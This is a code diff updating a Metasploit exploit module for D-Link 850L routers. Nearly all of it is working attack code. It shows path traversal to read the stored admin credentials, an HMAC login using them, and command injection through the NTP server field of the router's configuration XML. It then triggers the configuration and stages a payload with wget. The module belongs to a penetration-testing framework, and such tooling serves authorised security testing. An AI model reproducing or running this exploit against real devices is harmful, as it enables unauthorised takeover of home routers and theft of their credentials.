Update dlink_850l_unauth_exec.rb

modules/exploits/linux/http/dlink_850l_unauth_exec.rb

@@ -1,12 +1,7 @@
-##
-# This module requires Metasploit: https://metasploit.com/download
-# Current source: https://github.com/rapid7/metasploit-framework
-##
-
 require 'openssl'
 
 class MetasploitModule < Msf::Exploit::Remote
-  Rank = AverageRanking
+  Rank = ExcellentRanking
 
   include Msf::Exploit::Remote::HttpClient
   include Msf::Exploit::CmdStager
@@ -49,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote
       xml = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n"
       xml << "<postxml>\r\n"
       xml << "<module>\r\n"
-      xml << "   <service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>\r\n"
+      xml << "  <service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>\r\n"
       xml << "</module>\r\n"
       xml << "</postxml>"
       uid = rand_text_alpha_lower(8)
@@ -68,6 +63,7 @@ class MetasploitModule < Msf::Exploit::Remote
       parse = res.get_xml_document
       username = parse.at('//name').text
       password = parse.at('//password').text
+      vprint_status("#{peer} - Retrieved the username/password combo #{username}/#{password}")
       return username, password
     rescue ::Rex::ConnectionError
       fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
@@ -89,31 +85,25 @@ class MetasploitModule < Msf::Exploit::Remote
     end
   end
 
-  def hash_passwd(username, password, challenge)
-    hash = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('md5'), password.to_s, (username.to_s + challenge.to_s)).upcase
-    return hash
-  end
-
-  def login(username, hash, uid)
+  def login
+    username, password = retrieve_creds
+    uid, challenge = retrieve_uid
     begin
-      data = "id=#{username}&password=#{hash}"
+      hash = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('md5'), password.to_s, (username.to_s + challenge.to_s)).upcase
       res = send_request_cgi({
         'uri' => '/authentication.cgi',
         'method' => 'POST',
-        'data' => data,
+        'data' => "id=#{username}&password=#{hash}",
         'cookie' => "uid=#{uid}"
       })
-      return res
+      return uid
     rescue ::Rex::ConnectionError
       fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
     end
   end
 
   def execute_command(cmd, opts)
-    username, password = retrieve_creds
-    uid, challenge = retrieve_uid
-    hash = hash_passwd(username, password, challenge)
-    login(username, hash, uid)
+    uid = login
     payload = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n"
     payload << "<postxml>\r\n"
     payload << "<module>\r\n"
@@ -123,7 +113,7 @@ class MetasploitModule < Msf::Exploit::Remote
     payload << "                        <ntp>\r\n"
     payload << "                                <enable>1</enable>\r\n"
     payload << "                                <period>604800</period>\r\n"
-    payload << "                                <server>metelesku; (#{cmd};) &amp; exit; </server>\r\n"
+    payload << "                                <server>#{Rex::Text.rand_text_alpha_lower(8)}; (#{cmd}) </server>\r\n"
     payload << "                        </ntp>\r\n"
     payload << "                        <ntp6>\r\n"
     payload << "                                <enable>1</enable>\r\n"
@@ -140,13 +130,15 @@ class MetasploitModule < Msf::Exploit::Remote
     payload << "</module>\r\n"
     payload << "</postxml>"
     begin
+      # save configuration
       res = send_request_cgi({
         'uri' => '/hedwig.cgi',
         'method' => 'POST',
         'ctype' => 'text/xml',
         'data' => payload,
         'cookie' => "uid=#{uid}"
-        })
+      })
+      # execute configuration
       res = send_request_cgi({
         'uri' => '/pigwidgeon.cgi',
         'method' => 'POST',
@@ -162,9 +154,7 @@ class MetasploitModule < Msf::Exploit::Remote
   def exploit
     print_status("#{peer} - Initiating exploitation...")
     execute_cmdstager(
-      :flavor => :wget,
-      :background => true,
-      :nodelete => true
+      :flavor => :wget
     )
   end
 end